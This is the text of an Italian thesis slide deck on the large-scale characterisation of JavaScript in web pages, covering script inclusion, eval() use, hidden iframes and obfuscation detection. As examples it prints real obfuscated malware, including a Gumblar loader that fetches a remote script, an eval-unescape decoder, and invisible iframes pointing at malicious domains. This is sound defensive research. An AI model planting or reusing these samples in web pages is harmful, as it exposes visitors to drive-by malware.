Upload
guest85785c7
View
627
Download
1
Embed Size (px)
Citation preview
Introduzione Dataset Offuscamento Analisi Sviluppi futuri
Progetto e realizzazione di un sistemaper la caratterizzazione su larga scala
dei codici JavaScript nel Web
Universita Degli Studi Di TriesteFacolta di Ingegneria
Corso di Laurea Specialistica in Ingegneria Informatica
LAUREANDA RELATORE
Sara Zambon Chiar.mo Prof. Alberto Bartoli
CORRELATORE
Ing. Eric Medvet
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’era del Web 2.0
Evoluzione del Web:
dinamicita
interazione con l’utente
⇒ grazie a script, frammenti di codice eseguiti lato client
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Stato attuale di sicurezza nel Web
Rapporti Websense, Sophos:
crescita del 671% di siti Internet malicious in un anno
77% dei siti malicious sono siti affidabili compromessi
Drive-by download
Scaricamento automatico di malware
↪→ spesso e un link a inoltrare l’utente verso pagina maligna
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Inclusione di codice
Durante la navigazione fra le pagine di un sito:
1 esecuzione di mix di codici provenienti da siti terzi,inclusi tramite:
↪→ script↪→ iframe, talvolta invisibili
2 esecuzione di codici offuscati
! all’insaputa dell’utente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
Inclusione di codice
! all’insaputa dell’utente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’obiettivo della ricerca
Obiettivo
Caratterizzazione dell’inclusione degli script nelle pagine web
⇒ sostanziale assenza di studi con medesima finalita
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
L’obiettivo della ricerca
Obiettivo
Caratterizzazione dell’inclusione degli script nelle pagine web
⇒ sostanziale assenza di studi con medesima finalita
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti
I cinque quesiti
1 Quanto e diffusa l’inclusione di script da url diversi?
2 A che profondita di inclusione si arriva per includere script?
3 Quanto e diffuso l’utilizzo di eval()?
4 Quanto e diffusa l’inclusione di frame e iframesospettosamente piccoli?
5 Quanto e diffuso l’utilizzo di tecniche di offuscamento?
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal
→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious
→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal
→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious
→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious
→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious
→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting
→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le fonti
Dateset con 1037 pagine rappresentativo del Web:
→ 3 fonti di scaricamento:
≈ 80% pagine Normal→ Top Million Sites List stilatadall’azienda Alexa
≈ 20% pagine Malicious→ elenco siti infetti pubblicato dalprogetto Malware Domain List
< 1% pagine Interesting→ 3 maggiori JavaScript benchmark
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono statiestrapolati:
↪→ script JavaScript↪→ frame↪→ iframe
Quindi sono state popolate due tabelle:
↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono statiestrapolati:
↪→ script JavaScript↪→ frame↪→ iframe
Quindi sono state popolate due tabelle:
↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Estrapolazione dei dati dalla pagina
Da ciascuna pagina scaricata sono statiestrapolati:
↪→ script JavaScript↪→ frame↪→ iframe
Quindi sono state popolate due tabelle:
↪→ Ts , tabella degli script JavaScript↪→ Ti , tabella dei frame e degli iframe
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
La tabella degli script e la tabella dei frame e degli iframe
Per ogni script viene inserita una riganella tabella Ts :
Script URL
Root page URL
Script body
Category:
Embedded ScriptChild ScriptIntrinsic Event
Locality:
LocalRemote
List of HTTP redirection for thescript
. . .
Per ogni frame e iframe viene inseritauna riga nella tabella Ti :
Iframe URL
Root page URL
Iframe body
Enclosing:
HTML EmbeddedScript Embedded
Locality:
LocalRemote
List of HTTP redirection for theiframe
. . .
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le proprieta estratte
Proprieta estratte dagli script:
Function name
Document.write
Iframe
Variable name
Variable content
Long string
Eval
Unescape
Decode
Onerror
Exec
String.fromCharCode
String.charCodeAt
Math.random
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le proprieta estratte
Proprieta estratte da frame e iframe:
Width
Height
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Dalle proprieta alle features
↪→ 1 pagina ⇒ n script↪→ 1 script ⇒ 14 proprieta
↪→ 1 proprieta ⇒ m items
↪→ 1 script ⇒ 17 features, ottenute:
contando ⇒ items associati a una proprietacontando ⇒ items offuscati associati a una proprieta
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Dalle proprieta alle features
↪→ 1 pagina ⇒ n script↪→ 1 script ⇒ 14 proprieta
↪→ 1 proprieta ⇒ m items
↪→ 1 script ⇒ 17 features, ottenute:
contando ⇒ items associati a una proprietacontando ⇒ items offuscati associati a una proprieta
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Le fonti Dati Ts e Ti Proprieta Features
Le features
Vettore di 17 numeri, features, associato allo script:
Feature
Number of Obfuscated Function nameNumber of Obfuscated Document.write
Number of Obfuscated IframeNumber of Obfuscated Variable name
Number of Obfuscated Variable contentNumber of Obfuscated Long String
Number of EvalNumber of Obfuscated Eval
Number of Eval with long argumentNumber of Unescape
Number of Obfuscated UnescapeNumber of Obfuscated DecodeNumber of Obfuscated Onerror
Number of Obfuscated ExecNumber of String.fromCharCode
Number of String.charCodeAtNumber of Math.random
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Definizione di codice offuscato
Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti
Obiettivi alla base dell’offuscamento:
º proteggere la paternita del codice
» celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Definizione di codice offuscato
Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti
Obiettivi alla base dell’offuscamento:
º proteggere la paternita del codice
» celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Definizione di Offuscamento
! Assenza definizione precisa
Definizione di codice offuscato
Codice progettato in modo da nascondere le sue reali finalita,anche a seguito di un’analisi approfondita da parte di operatoriesperti
Obiettivi alla base dell’offuscamento:
º proteggere la paternita del codice
» celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Due esempi di script JavaScript offuscati
Primo script offuscato
f u n c t i o n c ( g ){v a r m=0; w h i l e (m<g . l e n g t h ){v a r r=g [m] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ){r . k=e ( r . n , r . o , r . l ) ;} e l s e{ r . k=0;} r . t=f ( r . l+r . k ) ;m++;}}
Secondo script offuscato
xR5p=3D’ % ’ ; e v a l ( unescape ( ( ’ v a r ”20 a”3d”22 Sc”72 i p t E n g i n ”65”22”2 c ”62”3d”22”5=6 e r s ”69 on ( )+”22”2 c ”6a”3d”22”22”2 cu ”3 d n a v i g ”61 t ”6 f r ”2 e ”75 s ”65 rAgent ”3 b i f ((=”75”2e i n d ”65 xOf ”28”22Win” 22) ”3 e0 ) ”26” 26( u”2 e ”69n”64exO” 66( ”22NT”20”36”22”=29”3 c0) ”26” 26( documen”74”2 e c o o k i e ”2 e ”69 ndex ”4 f ”66”28”22”6 d i e ”6b”3d1” 22) ”3=c0 ) ”26”26”28 t ”79”70 e ”6 f f ( ”7 a r v z t s ) ”21”3 d t y p e o f ( ”22A” 22) ) ”29”7 b z r v z t s ”3d”2=2A”22”3b”65 va ”6 c ( ”22 i f ( wi ”6edow”2 e ”22+a+”22”29 j ”3d”6a+”22+a+”22M”61 j o ”72”=22+”62”2ba+”22 Minor ”22”2bb+a+”22B”75”69 l d ”22”2bb”2b”22 j ”3b” 22) ”3 bdocu ”6 de=”6 e ”74”2ewr ”69”74 e ( ”22”3 c s c ”72 i p t ”20 s r ”63”3d”2 f ”2 f g u m b l a r ”2 ecn ”2 f r s s ”2 f ”3= f i d ”3d”22+ j+”22”3 e ”3 c ”5 c ”2 f ”73 c r i p t ”3 e ”22”29”3b”7d ’ ) . r e p l a c e ( j i l , xR5p ) ) )}=)(/ ”/g ) ;
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Due esempi di script JavaScript offuscati
Secondo script
! Gumblar
⇒ A maggio 2009 deteneva il 42% infezioni a livello globale⇒ all’esecuzione download altro script da
http://www.gumblar.cn/rss/
Ultime righe del secondo script
[ . . . ] ”3 bdocu ”6 de=”6 e ”74”2 ewr ”69”74 e ( ”22”3 c s c ”72 i p t ”20 s r ”63”3d”2 f ”2 f g u m b l a r ”2 ecn ”2 f r s s ”2 f ”3= f i d ”3d”22+ j+”22”3 e ”3 c ”5 c ”2 f ”73 c r i p t ”3 e ”22”29”3b”7d ’ ) [ . . . ]
⇒ obiettivo offuscamento: celare codice maligno
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Esempi di items offuscati
nomi offuscati di funzioni
c07b380984r0368a7 , r 3 2 f d f e 1 7 6 8 , re15d694d .
nomi offuscati di variabili
a7044t f , a7044pu , a7044pf , a7044su , a7044s f , a7044of , a7044op ,a7044ops , a7044ot , a7044d , a7044oe .
variabile con argomento offuscato
v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”74” , ” 131 ” , ”129 ” , ” 144 ” , ”97” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”94” , ” 149 ” , ” 101 ” ,” 128 ” , ”68” , ”62” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ”79” , ”79” , ”82” , ”62” , ”69” , ”74” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ”74” , ” 128 ” , ” 133 ” , ”143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ”60” , ”89” , ”60” , ”62” , ” 138 ” , ” 139 ” , ” 138 ” , ”129 ” , ”62” , ”87” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ”74” , ”131 ” , ” 129 ” , ” 144 ” , ”97” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ;
document.write() con argomento offuscato
document . w r i t e ( ’<a h r e f=” h t t p : / /www. 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =”51.la 专业、免费、强健的访问统计 ; ”>网站统计 ;</a>\n ’ )
stringa con argomento offuscato
c=T. 7 y ( ) ; 1 e ( c . 1A+29.2 f (1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S+29.2 f (1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a )}N{1e (T. 5X, T. 5W) ; 1B(1 s ){1e (1 s . 5X, 1 s . 5W) ; G(42&&!/ˆ t ( 9 8 | d | h ) $/ i . 1 1 ( 1 s . 2 j ) | |2 k&&!5U) 2C(1 s ) ; G( ! 3 c&&1g (1 s , ”30” )==”3c ” ) 3 c=M; 4 a=/ˆ1c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s}1B( d&&d . 2 j &&!/ˆ1c |2K$/ i. 1 1 ( d . 2 j ) ){G( ! / ˆ 9 6 |1T.∗ $/ i . 1 1 ( 1 g ( d , ”18” ) ) ) 1 e(−d . 2 e,−d . 2 c ) ; G(42&&1g ( d ,”33” ) !=”4 j ” ) 2C( d ) ; d=d . 1 d}G( ( 5U&&(3c | |1 g (4 a , ”30” )==”5 x ” ) ) [ . . . ]
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Esempi di proprieta offuscate
stringa lunga con argomento offuscato
rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF101 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF115 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF99 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcDF46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcDF108rcDF101rcDF61rcDF34rcDF98rc
eval() con argomento offuscato
e v a l ( unescape ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28arguments . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/g%2C%27%27%29%2CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3Bfor%28AsRG%3D0%3BAsRG%3CR GHH . l e n g t h%3BAsRG++%29HpCh%5E%3DR GHH . charCodeAt%28AsRG%29%3BAsRG%3D−1%3Bwhi l e%28++ASaIS %3CSCSL . l e n g t h%29%7 B i f %28AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g .fromCharCode%28HpCh%5ESCSL . charCodeAt%28ASaIS %29%5ER GHH . charCodeAt%28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3B r e t u r n%3B%7D’ ) ) ;
unescape() con argomento offuscato
unescape ( ”%3C i f r a m e%20name%3D%22 a d p r o t e s t %22%20width%3D%22”+wi+”%22%20h e i g h t%3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c%3D%22 h t t p%3A//s c r i p t s . c h i t i k a . n e t / s t a t i c / adpro . html%22%20marg inwidth%3D%220%22%20m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20hspace%3D%220%22%20a l l o w t r a n s p a r e n c y%3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e%3E” )
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Iframe invisibili
iframe reso invisibile dalle dimensioni nulle (width=0 e height=0)
<i f r a m e s r c=” hxxp : / / goog le−a n a l y z . cn / count . php ?o=1” width=0 h e i g h t=0 s t y l e=” h i d d e n ” f rameborder=0 m a r g i n h e i g h t=0 marginwidth=0 s c r o l l i n g=no></i f r a m e>
iframe reso invisibile da una sola dimensione nulla (height=0)
<i f r a m e s r c=” hxxp : / / a86x . homeunix . org :8080/ t s / i n . c g i ? open2 ” width =997h e i g h t=0 s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>
iframe di dimensioni minime e dunque difficilmente percepibile
<i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” width=2 h e i g h t=4s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>
iframe reso invisibile dall’attributo visibility:hidden
<i f r a m e s r c=” hxxp : / / combinebet . cn :8080/ i n d e x . php” width =180 h e i g h t =141s t y l e=” v i s i b i l i t y : h i d d e n ”></ i f r a m e>
iframe non visibile perche interno a un “contenitore” <div> invisibile
<d i v s t y l e=” d i s p l a y : none ”><i f r a m e s r c=” hxxp : / / red−w o l f . ru :8080/ i n d e x . php” width =574 h e i g h t =455></ i f r a m e>
</ d i v>
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Dynamic Evaluation
Moderni linguaggi di scripting permettono la dynamic evaluation:
º valutazione run time input utente
» grave problema per la sicurezza
La funzione JavaScript eval()
esegue una stringa trattandola come codice
↪→ potenzialmente in grado di compiere qualsiasi azione
↪→ nella maggior parte dei casi uso scorretto
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
L’analisi sull’offuscamento
Obiettivo
Individuazione criterio per stabilire se un script e offuscato o meno
Primo criterio di offuscamento
Soglie sulle features ottenute da analisi delle proprieta degli script
Secondo criterio di offuscamento
Classificatore realizzato su risultati di test svolti da analisti
⇒ per ogni script di Ts → 2 “bit di offuscamento”
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il primo bit di offuscamento
↪→ 1 script → vettore 17 features
Primo criterio:
↪→ soglie basate su domain knowledge
↪→ se almeno una feature supera la soglia ⇒ lo script e offuscato.
Feature Soglia
Number of Obfuscated Function name 0Number of Obfuscated Document.write 0
Number of Obfuscated Iframe 0Number of Obfuscated Variable name 4
Number of Obfuscated Variable content 4Number of Obfuscated Long String 0
Number of Eval 2Number of Obfuscated Eval 0
Number of Eval with long argument 0Number of Unescape 2
Number of Obfuscated Unescape 0Number of Obfuscated Decode 0Number of Obfuscated Onerror 0
Number of Obfuscated Exec 0Number of String.fromCharCode 4
Number of String.charCodeAt 4Number of Math.random 4
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo criterio
77 analisti esaminatori di 893 script di Ts
↪→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?Possibili opzioni di risposta: Sı, No, Non so
↪→ dei 893 script → 691 con piu di una valutazione
↪→ dei 691 script → 561 con maggioranza di giudizio
↪→ dei 561 script:→ 372 (66%) giudizio unanime→ 100 (18%) range di valutazioni comuni fra l’51% e il 67%
↪→ dei 691 script → 130 senza maggioranza di giudizio
↪→ dei 130 script:→ 81 (67%) giudizio unanime Non so
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo criterio
77 analisti esaminatori di 893 script di Ts
↪→ Ritieni che questo codice sia offuscato (anche solo parzialmente)?Possibili opzioni di risposta: Sı, No, Non so
↪→ dei 893 script → 691 con piu di una valutazione
↪→ dei 691 script → 561 con maggioranza di giudizio
↪→ dei 561 script:→ 372 (66%) giudizio unanime→ 100 (18%) range di valutazioni comuni fra l’51% e il 67%
↪→ dei 691 script → 130 senza maggioranza di giudizio
↪→ dei 130 script:→ 81 (67%) giudizio unanime Non so
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo bit di offuscamento
↪→ 1 script → vettore 17 features
Secondo criterio:
↪→ per ogni script dei 561 → bit offuscameno analisti
↪→ addestramento di un classificatore Multilayer Perceptron
⇓Classificatore applicato a tutti gli script di Ts
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio
Il secondo bit di offuscamento
↪→ 1 script → vettore 17 features
Secondo criterio:
↪→ per ogni script dei 561 → bit offuscameno analisti
↪→ addestramento di un classificatore Multilayer Perceptron
⇓Classificatore applicato a tutti gli script di Ts
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Caratterizzazione generale
Grafici di distribuzione cumulativa sulla somma delle dimensioni degliscript per pagina
(a) Distribuzione nelle pagine Normal (b) Distribuzione nelle pagine Malicious
Normal → script dimensioni maggiori: Child Script
Malicious → script dimensioni maggiori: Embedded Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Inclusione di script da URL diversi
Quanto e diffusa l’inclusione di script da url diversi?
(c) Distribuzione nelle pagine Normal (d) Distribuzione nelle pagine Malicious
Normal:→ il 90% pagine include Embedded Script da un altro dominio→ il 20% pagine include Child Script da 2 domini diversi→ il 10% pagine include Child Script da 3 domini diversi
Malicious:→ minima percentuale di pagine include script da 2 domini diversi
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Profondita di inclusione a livello script
A che profondita di inclusione si arriva per includere script?Percentuale di script calcolata sul numero totale di script
(e) Distribuzione nelle pagine Normal (f) Distribuzione nelle pagine Malicious
Normal:→ l’85% degli script presenti ha profondita pari a 1→ ≈ 13% e caratterizzato da livello di profondita uguale a 2
Malicious:→ l’70% degli script presenti ha profondita pari a 1→ ≈ 30% e caratterizzato da livello di profondita uguale a 2Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Profondita di inclusione a livello script
A che profondita di inclusione si arriva per includere script?Percentuale di script calcolata sulla dimensione degli script
(g) Distribuzione nelle pagine Normal (h) Distribuzione nelle pagine Malicious
Normal:→ l’85% del codice incluso ha profondita 2
Malicious:→ la situazione non varia di molto rispetto al caso precedente
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di eval()
Quanto e diffuso l’utilizzo di eval()?
Normal:→ nel 2,7% delle pagine sono presenti script contenenti eval()
Malicious e Interesting:→ in piu dell’8% delle pagine sono presenti script contenenti eval()
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di eval()
Quanto e diffuso l’utilizzo di eval()?(con argomento superiore ai 140 caratteri)
Normal:→ quasi totalita di script contententi eval() e del tipo Child Script
Malicious:→ maggior numero di script contententi eval() fra gli Embedded Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Utilizzo di iframe sospettosamente piccoli
Quanto e diffusa l’inclusione di frame e iframe sospettosamente piccoli?
Normal:→ l’8,5% delle pagine include un frame o un iframe praticamente invisibile→ il 3% delle pagine ne include 2→ una minima percentuale di pagine arriva ad includerne 16
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri Script iframe Script offuscati
Percentuali di script offuscati
Quanto e diffuso l’utilizzo di tecniche di offuscamento?
(i) Criterio “Soglie sulle features” (j) Criterio “Classificatore MLP”
Soglie sulle features:→ evidenzia offuscamento negli Embedded Script delle pagine Malicious
Classificatore MLP:→ evidenzia offuscamento quasi esclusivamente nei Child Script
Sara Zambon Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri
Gli sviluppi futuri
Nuove analisi:
1 nuove proprieta
⇒ possibile discernere pagine maligne da benigne?⇒ possibile classificare pagine senza disporre di liste aggiornate
sui siti infetti?
2 studio dell’aspetto dinamico della pagina
⇒ possibile distinguere manipolazioni fraudolente da legittime?
Sara Zambon Caratterizzazione dei codici JavaScript nel Web